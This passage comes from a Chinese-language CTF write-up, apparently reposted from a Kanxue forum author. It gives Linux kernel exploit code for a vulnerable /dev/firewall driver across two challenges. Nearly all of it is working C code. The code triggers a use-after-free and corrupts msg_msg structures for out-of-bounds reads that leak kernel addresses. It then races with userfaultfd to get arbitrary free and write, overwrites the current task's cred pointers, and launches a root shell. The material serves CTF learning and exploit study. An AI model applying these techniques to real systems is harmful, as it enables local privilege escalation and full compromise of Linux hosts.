uf_copy.copy = 0;
char buffer[0x2000]={0};
struct msg_msg evil;
memset(&evil,0,sizeof(struct msg_msg));
evil.m_list.next = (void *)0xdeadbeef;
evil.m_list.prev = (void *)0xdeadbeef;
evil.m_type = 1;
evil.m_ts = 0x1008-0x30;
evil.next = (void *)attack_addr; // 设置msg_msg.next指向要attack的task_struct,也即是当前进程的task_struct
memcpy(buffer,&evil,sizeof(struct msg_msg ));
evil_edit(1,buffer,OUTBOUND,0); // UAF writea,劫持msg_msg结构
if(ioctl(uffd, UFFDIO_COPY, (unsigned long)&uf_copy) == -1) // wake it up
{
perror("uffdio_copy error");
exit(-1);
}
//debug();
if (ioctl(uffd, UFFDIO_UNREGISTER, (unsigned long)&uf_range) == -1)
{
perror("error unregistering page for userfaultfd");
}
if (munmap((void *)FAULT_PAGE, 0x1000) == -1)
{
perror("error on munmapping race page");
}
return 0;
}
//监听事件,poll会阻塞,直到收到缺页错误的消息
// nready = poll(&pollfd, 1, -1);
// if (nready != 1)
// puts("[-] Wrong pool return value");
// nready = read(uffd, &msg, sizeof(msg));
// if (nready <= 0) {
// puts("[-]msg error!!");
// }
// printf("[+] read page fault msg\n");
// char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
// if (page == MAP_FAILED)
// puts("[-]mmap page error!!");
// struct uffdio_copy uc;
// //初始化page页
// memset(page, 0, sizeof(page));
// uc.src = (unsigned long)page;
// //出现缺页的位置
// uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);;
// uc.len = PAGE_SIZE;
// uc.mode = 0;
// uc.copy = 0;
// ioctl(uffd, UFFDIO_COPY, &uc);
// puts("[+] handler done!!");
// return NULL;
return 0;
}
/* -------------------- userfault handler-------------------- */
int main(){
msg * message = (msg *)msg_buffer;
uint64_t size;
uint64_t qid;
fd = open("/dev/firewall",O_RDWR);
CHECK(fd);
printf("[+] Open SUCCESS\n");
printf("[+] sizeof msg_msg: %#lx\n",sizeof(struct msg_msg));
// Create
firewall_add_rule(0,INBOUND);
// copy to OUTBOUND list
firewall_dup_rule(0,INBOUND);
// Create msg queue
qid = create_message_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
printf("[+] qid: %ld\n",qid);
// Trigger UAF(kmalloc-4k)
firewall_delete_rule(0,INBOUND);
// 此时size落在kmalloc-4k,触发之后从kmalloc-4k中重新取出对应的结构,此时变成了 struct msg_msg,并且紧接着的是mtext
size = 0x1010;
message->mtype = 1;
memset(message->mtext,0x61,size);
send_message(qid,message,size - 0x30,0); //msgsz = full_size - sizeof(struct msg_msg)
// Spray shm_file_data(kmalloc-32) by shmat
// Bypass fg-kaslr :)
heap_spray_shmem();
// Prepare for OOB read.
// Ceate an evil msg_msg, in order to hijack msg_msg ctl structure in Kernel.
struct msg_msg evil;
size = 0x1500;
memset(&evil,0,sizeof(struct msg_msg));
evil.m_list.next = (void *)0x4141414141414141;
evil.m_list.prev = (void *)0x4242424242424242;
evil.m_type = 1;
evil.m_ts = size;
memset(msg_buffer, 0, sizeof(msg_buffer));
memcpy(msg_buffer, (void *)&evil, 0x20); // Copy first 0x20 bytes ctl structure, modify the struct msg_msg ctl structure
evil_edit(0, msg_buffer, OUTBOUND, 1); // UAF edit, firewall_edit_rule() failed , but before it exits, we successfully edit first 0x20 bytes
// After evil_edit(), we successfully change the m_ts to 0x1500!
memset(recieved, 0, sizeof(recieved));
// Because we hijack the m_ts to a huge value, OOB read happended here.
read_from_message_queue(qid, recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR); // Read from msg queue
//printf("recieved: %p\n",recieved);
for (int i = 0; i < size / 8; i++)
{
if ((*(uint64_t *)(recieved + i * 8) & 0xfff) == 0x7a0)
{
init_ipc_ns = *(uint64_t *)(recieved + i * 8); //ffffffff81c3d7a0 D init_ipc_ns
printf("[+] hit addr: %#lx\n",(uint64_t)(recieved + i * 8));
break;
}
if(i == ((size / 8)-1) ){
puts("[-] Dump \"init_ipc_ns\" from msg Queue FAILED");
exit(0);
}
}
kernel_base = init_ipc_ns - (0xffffffff81c3d7a0 - 0xffffffff81000000);
init_task = kernel_base + (0xffffffff81c124c0 - 0xffffffff81000000);
init_cred = kernel_base + (0xffffffff81c33060 - 0xffffffff81000000);
printf("[*] kernel_base: %#lx\n",kernel_base);
printf("[*] init_task: %#lx\n",init_task);
printf("[*] init_cred: %#lx\n",init_cred);
// 再触发一次edit,此时改msg_msg的next指针指向init_task + 0x290
// 目的是在通过多次msgrcv来扫描链表,此时链表next指针(struct msg_msgseg *next) 被劫持指向了init_task
// 那么实际上我们就是在扫描系统的task链表,直到找到当前进程对应的task_struct
memset((void *)&evil, 0, sizeof(struct msg_msg));
memset(recieved, 0, sizeof(recieved));
memset(msg_buffer, 0, sizeof(msg_buffer));
evil.m_type = 1;
evil.m_ts = size;
evil.next = (void *)init_task + 0x298 - 0x8; // -0x8是因为要保证每一次的struct msg_msgseg只利用一次,所以让他的next指针域为NULL,这0x8是留给next的
memcpy(msg_buffer, (void *)&evil, sizeof(struct msg_msg));
evil_edit(0, msg_buffer, OUTBOUND, 0);
printf("[+] recieved: %p\n",recieved);
read_from_message_queue(qid, recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR); //读一次
int32_t pid;
uint64_t prev, curr;
memcpy((void*)&prev, (void *)(recieved + 0xfe0), 8);
memcpy((void*)&pid, (void *)(recieved + 0x10d8), 4);
printf("%d %d\n", pid, getpid());
// 在while中多次调用msgrcv顺着init_task扫描链表,直到找到当前进程对应的task_struct
while (pid != getpid())
{
curr = prev - 0x298;
evil.next = (void *)prev - 0x8; // 更新next指针为task链表上的下一个元素
memcpy(msg_buffer, (void *)&evil, sizeof(struct msg_msg));
evil_edit(0, msg_buffer, OUTBOUND, 0);
read_from_message_queue(qid, recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
memcpy((void*)&prev, (void *)(recieved + 0xfe0), 8);
memcpy((void*)&pid, (void *)(recieved + 0x10d8), 4);
printf("%d %d\n", pid, getpid());
}
printf("[+] Found current task_struct: %#lx\n",curr);
// UAF kmalloc-4k
firewall_add_rule(1,INBOUND);
firewall_dup_rule(1,INBOUND);
firewall_delete_rule(1,INBOUND);
memset(msg_buffer, 0, sizeof(msg_buffer));
/*
typedef struct
{
long mtype;
char mtext[1];
}msg;
*/
msg *root;
uint64_t root_size = 0x1010;
void *evil_page = mmap((void *)FAULT_PAGE-PAGE_SIZE, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
// 前8bytes要放mtype,必须是mmap之后的合法内存
// 后面的char mtext[]将会落在register_userfault中mmap的未初始化的内存区域[FAULT_PAGE,FAULT_PAGE+PAGE_SIZE]
root = (msg *)(FAULT_PAGE - 0x8);
root->mtype = 1;
// 要劫持的地方是task_struct偏移为0x538 和 0x540 的 cred *real_cred 和 cred *cred 指针
// 在handler中完成任意写
register_userfault(handler);
attack_addr = curr + 0x538 - 0x8;
printf("[+] attack_addr: %#lx\n",attack_addr);
sleep(1);
send_message(qid,root,root_size - 0x30,0);
pthread_join(thr, NULL); // 等待用于arw的handler返回
if(getuid() == 0){
system("echo \"Welcome to root sapce!\"");
system("/bin/sh");
}
else{
puts("[-] root failed");
}
}
3
wall-of-perdition
typedef struct
{
char iface[16];
char name[16];
uint32_t ip;
uint32_t netmask;
uint16_t proto;
uint16_t port;
uint8_t action;
uint8_t is_duplicated;
#ifdef EASY_MODE
char desc[DESC_MAX];
#endif
} rule_t;
漏洞利用过程
fd = open("/dev/firewall",O_RDWR);
register_userfault_1(page_fault_handler_1);
register_userfault_2(page_fault_handler_2);
qid = create_message_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
printf("[+] Create first qid: %ld\n",qid);
// 再创建一个新的队列
qid_1 = create_message_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
printf("[+] Create second qid: %d\n",qid_1);
firewall_add_rule(0,INBOUND);
firewall_dup_rule(0,INBOUND);
firewall_delete_rule(0,INBOUND);
进行内核堆排布
send_message(qid,0x40,'A'); //msgsz = full_size - sizeof(struct msg_msg)
send_message(qid_1,0x40,0x21); //msgsz = full_size - sizeof(struct msg_msg)
send_message(qid_1,0x1ff8,'A'); //msgsz = full_size - sizeof(struct msg_msg)
printf("\n[+] Create two msg_msg and one msg_msgseg DONE\n");
// OOB Read
struct msg_msg evil;
size = 0x2000;
memset(&evil,0,sizeof(struct msg_msg));
evil.m_list.next = (void *)0x4141414141414141;
evil.m_list.prev = (void *)0x4242424242424242;
evil.m_type = 1;
evil.m_ts = size;
memset(msg_buffer, 0, sizeof(msg_buffer));
memcpy(msg_buffer, (void *)&evil, 0x20);
evil_edit(0, msg_buffer, OUTBOUND, 1);
memset(recieved, 0, sizeof(recieved));
read_from_message_queue(qid, recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
sleep(1);
for (int i = 0; i < size / 8; i++)
{
if ( ((*(uint64_t *)(recieved + i * 8) & 0xffff) == 0x4242) && (!queue || !large_msg))
{
//第一个msg_msg的prev指针对应的msg queue
queue = ((uint64_t *)recieved)[i - 5]; // -0x28
large_msg = ((uint64_t *)recieved)[i - 6]; ; // -0x30
//printf("[*] hit %#lx\n",recieved + i * 8);debug();
}
if ((*(uint64_t *)(recieved + i * 8) & 0xfffff) == 0x159a0)
{
sysfs_bin_kfops_ro = *(uint64_t *)(recieved + i * 8);
printf("[+] hit sysfs_bin_kfops_ro: %#lx\n",(uint64_t)(recieved + i * 8));
kernel_base = sysfs_bin_kfops_ro - (0xffffffffa82159a0 - 0xffffffffa7800000);
break;
}else if((*(uint64_t *)(recieved + i * 8) & 0xfffff) == 0x41600){
dynamic_kobj_ktype = *(uint64_t *)(recieved + i * 8);
printf("[+] hit dynamic_kobj_ktype: %#lx\n",(uint64_t)(recieved + i * 8));
kernel_base = dynamic_kobj_ktype - (0xffffffffa4441600 - 0xffffffffa3800000);
break;
}
if(i == ((size / 8)-1) ){
puts("[-] Dump \"sysfs_bin_kfops_ro | dynamic_kobj_ktype | \" from msg Queue FAILED");
exit(0);
}
}
init_task = kernel_base + (0xffffffff81c124c0 - 0xffffffff81000000);
init_cred = kernel_base + (0xffffffff81c33060 - 0xffffffff81000000);
printf("[*] kernel_base: %#lx\n",kernel_base);
printf("[*] init_task: %#lx\n",init_task);
printf("[*] init_cred: %#lx\n",init_cred);
printf("[*] queue: %#lx\n",queue);
printf("[*] large_msg: %#lx\n",large_msg);
if(!queue || !large_msg){
printf("[-] !queue || !large_msg\n");
exit(-1);
}
// 再触发一次edit,此时改msg_msg的next指针指向init_task + 0x290
// 目的是在通过多次msgrcv来扫描链表,此时链表next指针(struct msg_msgseg *next) 被劫持指向了init_task
// 那么实际上我们就是在扫描系统的task链表,直到找到当前进程对应的task_struct
memset((void *)&evil, 0, sizeof(struct msg_msg));
memset(recieved, 0, sizeof(recieved));
memset(msg_buffer, 0, sizeof(msg_buffer));
evil.m_type = 1;
evil.m_ts = size;
evil.next = (void *)init_task + 0x298 - 0x8; // -0x8是因为要保证每一次的struct msg_msgseg只利用一次,所以让他的next指针域为NULL,这0x8是留给next的
memcpy(msg_buffer, (void *)&evil, sizeof(struct msg_msg));
evil_edit(0, msg_buffer, OUTBOUND, 0);
printf("[+] recieved: %p\n",recieved);
//debug();
read_from_message_queue(qid, recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR); //读一次
int32_t pid;
uint64_t prev, curr;
memcpy((void*)&prev, (void *)(recieved + 0xfe0), 8);
memcpy((void*)&pid, (void *)(recieved + 0x10d8), 4);
printf("%d %d\n", pid, getpid());
// 在while中多次调用msgrcv顺着init_task扫描链表,直到找到当前进程对应的task_struct
while (pid != getpid())
{
curr = prev - 0x298;
evil.next = (void *)prev - 0x8; // 更新next指针为task链表上的下一个元素
memcpy(msg_buffer, (void *)&evil, sizeof(struct msg_msg));
evil_edit(0, msg_buffer, OUTBOUND, 0);
read_from_message_queue(qid, recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
memcpy((void*)&prev, (void *)(recieved + 0xfe0), 8);
memcpy((void*)&pid, (void *)(recieved + 0x10d8), 4);
printf("%d %d\n", pid, getpid());
}
printf("[+] Found current task_struct: %#lx\n",curr);
memcpy((void*)&cred_struct, (void *)(recieved + 0x1a8+0x10d8), 8);
printf("[+] Leaked current task cred struct: 0x%lx\n", cred_struct);
// 进行读取,注意⚠️,此时我们没有设置MSG_COPY。此时的处理会正常的对当前msg进行删除出队,更新队列状态,最后free(msg),注意,此时是不会预先分配一个copy的
// 在这里一定要保证我们的msg_msg指针的合法性,不能像设置了MSG_COPY时对指针进行破坏,因为这里我们涉及了队列操作。
/*
初始状态
msq -> msg_msg_1 -> msg_msg_2 -> msg_msgseg_2
*/
/*
首先通过msgrcv释放队列中的第一个msg_msg
kmalloc-64 -> msg_msg_1
msq -> msg_msg_2 -> msg_msgseg_2
*/
read_from_message_queue(qid_1, recieved_1, 0x1ff8, 1, IPC_NOWAIT | MSG_NOERROR);
/*
接下来释放第二个msg_msg以及其msg_msgseg
kmalloc-64 -> msg_msg_1
kmalloc-4k -> msg_msgseg_2 -> msg_msg_2
msq -> NULL
*/
read_from_message_queue(qid_1, recieved_1, 0x1ff8, 1, IPC_NOWAIT | MSG_NOERROR);
printf("[+] All msg_msg and msg_msgseg freed\n");
pthread_create(&tid[2], NULL, allocate_msg1, NULL);
void *allocate_msg1(void *_)
{
mmap((void *)page_1, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
printf("[allocate_msg1] mmap(%#lx,%#lx)\n",page_1,PAGE_SIZE);
printf("[allocate_msg1] Message buffer allocated at 0x%lx\n", page_1 + PAGE_SIZE - 0x10);
// 再创建一个新的队列
if ((qid_2 = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) // [2]
{
perror("msgget");
exit(1);
}
memset((void *)page_1, 0, PAGE_SIZE);
((uint64_t *)(page_1))[0xff0 / 8] = 1;
// 从kmalloc-4k中取出被释放的msg_msgseg、msg_msg
/*
free时:msg_msg -> msg_msgseg
取出后形成如下链表(因为LIFO):
msg_msgseg(NOW new_msg_msg) -> msg_msg(NOW new_msg_msgseg)
*/
// 当msgsnd触碰到page_1+PAGE_SIZE时,会在copy_from_user的位置卡死,导致copy_from_user被挂起
if (msgsnd(qid_2, (void *)page_1 + PAGE_SIZE - 0x10, 0x1ff8 - 0x30, 0) < 0) // [3]
{
puts("msgsend failed!");
perror("msgsnd");
exit(1);
}
puts("[allocate_msg1] Message sent, *next overwritten!");
}
void* page_fault_handler_1(void *arg){
struct uffd_msg uf_msg;
unsigned long uffd = (unsigned long)arg;
struct uffdio_copy uf_copy;
struct uffdio_range uf_range;
//debug();
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
uf_range.start = FAULT_PAGE;
uf_range.len = PAGE_SIZE;
uint64_t page_fault_location;
puts("[PFH 1] Started!");
//监听事件,poll会阻塞,直到收到缺页错误的消息
while(poll(&pollfd, 1, -1) > 0){
if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
{
perror("polling error");
exit(-1);
}
// 读取事件
nready = read(uffd, &uf_msg, sizeof(uf_msg));
if (nready <= 0) {
puts("[-]uf_msg error!!");
}
// 判断消息的事件类型
if(uf_msg.event != UFFD_EVENT_PAGEFAULT)
{
perror("unexpected result from event");
exit(-1);
}
page_fault_location = (uint64_t)uf_msg.arg.pagefault.address;
if((uint64_t)page_fault_location == page_1+PAGE_SIZE){
printf("[page_fault_handler_1] Catch the Page Fault in %#lx\n",page_1+PAGE_SIZE);
// 初始化buffer,大小为pagesize,并且设置对应位置的指针,准备用来改cred * 恢复userfault的区域
char uf_buffer[0x1000];
msg_msg *msg = (msg_msg *)(uf_buffer +0x1000-0x40);
msg->m_type = 0x1;
msg->m_ts = 0x1000;
msg->next = (uint64_t)(cred_struct - 0x8); //把next指针改成指向当前task_struct的cred结构
// 设置struct uffdio_copy 恢复userfault
uf_copy.src = (unsigned long)uf_buffer;
uf_copy.dst = FAULT_PAGE;
uf_copy.len = 0x1000;
uf_copy.mode = 0;
uf_copy.copy = 0;
for(;;){
// 如果release_pfh_1被设置了再恢复,否则一直阻塞在这里
if(release_pfh_1)
{
if(ioctl(uffd, UFFDIO_COPY, (unsigned long)&uf_copy) == -1) // wake it up
{
perror("uffdio_copy error");
exit(-1);
}
//debug();
if (ioctl(uffd, UFFDIO_UNREGISTER, (unsigned long)&uf_range) == -1)
{
perror("error unregistering page for userfaultfd");
}
if (munmap((void *)FAULT_PAGE, 0x1000) == -1)
{
perror("error on munmapping race page");
}
}
}
}
else{
printf("[-] Catch Page Fault FAILED: %#lx\n",page_fault_location);
}
return 0;
}
return 0;
}
通过任意地址free,构造恶意链表,劫持cred结构体
void arb_free(int idx, uint64_t target)
{
msg_msg *msg = (msg_msg *)malloc(0x100);
void *memdump = malloc(0x2000);
// 这里要重新修复对应的链表表头,此时queue就是我们一开始获取的第二个msg_msg所属的队列
// target是一开始msg_msg2 -> msg_msgseg2 中 msg_msgseg2 的地址
printf("[+] Trigger arb_free, target: %#lx\n",target);
msg->m_list.next = queue;
msg->m_list.prev = queue;
msg->m_type = 1;
msg->m_ts = 0x10;
msg->next = target;
evil_edit(idx, msg, OUTBOUND, 0);
puts("[*] Triggering arb free...");
// 此时,重新申请出来的prev msg_msg被free了。
/*
最终导致两个都指向msg_msgseg
msg_msg_1 ------> msg_msgseg (prev msg_msg)
msg_msg_2 ------> msg_msgseg (prev msg_msg)
*/
// free msg_msg_1、msg_msgseg
msgrcv(qid, memdump, 0x10, 1, IPC_NOWAIT | MSG_NOERROR);
puts("[+] Target freed!");
free(memdump);
free(msg);
}
void* page_fault_handler_2(void *arg){
struct uffd_msg uf_msg;
unsigned long uffd = (unsigned long)arg;
struct uffdio_copy uf_copy;
struct uffdio_range uf_range;
//debug();
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
uf_range.start = FAULT_PAGE_2;
uf_range.len = PAGE_SIZE;
uint64_t page_fault_location;
puts("[PFH 2] Started!");
//监听事件,poll会阻塞,直到收到缺页错误的消息
while(poll(&pollfd, 1, -1) > 0){
if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
{
perror("polling error");
exit(-1);
}
// 读取事件
nready = read(uffd, &uf_msg, sizeof(uf_msg));
if (nready <= 0) {
puts("[-]uf_msg error!!");
}
// 判断消息的事件类型
if(uf_msg.event != UFFD_EVENT_PAGEFAULT)
{
perror("unexpected result from event");
exit(-1);
}
page_fault_location = (uint64_t)uf_msg.arg.pagefault.address;
if((uint64_t)page_fault_location == page_2+PAGE_SIZE){
printf("[page_fault_handler_2] Catch the Page Fault in %#lx\n",page_2+PAGE_SIZE);
// 初始化buffer,大小为pagesize,并且设置对应位置的指针,准备用来改cred * 恢复userfault的区域
char uf_buffer[0x2000];
memset(uf_buffer, 0, PAGE_SIZE);
release_pfh_1 = 1; //重启第一个page fault的恢复工作
sleep(1); // 等第一个page_fault_handler_1完成对于next指针的劫持,指向cred
// 设置struct uffdio_copy 恢复userfault
uf_copy.src = (unsigned long)uf_buffer;
uf_copy.dst = FAULT_PAGE_2;
uf_copy.len = 0x1000;
uf_copy.mode = 0;
uf_copy.copy = 0;
// 直接恢复
if(ioctl(uffd, UFFDIO_COPY, (unsigned long)&uf_copy) == -1) // wake it up
{
perror("uffdio_copy error");
exit(-1);
}
//debug();
if (ioctl(uffd, UFFDIO_UNREGISTER, (unsigned long)&uf_range) == -1)
{
perror("error unregistering page for userfaultfd");
}
if (munmap((void *)FAULT_PAGE, 0x1000) == -1)
{
perror("error on munmapping race page");
}
}
else{
printf("[-] Catch Page Fault FAILED: %#lx\n",page_fault_location);
}
return 0;
}
return 0;
}
4
总结
参考:
https://blog.csdn.net/guoping16/article/details/6584024
https://www.cnblogs.com/52php/p/5862114.html
看雪ID:ScUpax0s
https://bbs.pediy.com/user-home-876323.htm
官网:https://www.bagevent.com/event/6334937
# 往期推荐
1.All About Crypto - CTF竞赛密码学方向指南
6. CVE-2012-3569 VMware OVF Tool格式化字符串漏洞分析
球分享
球点赞
球在看
点击“阅读原文”,了解更多!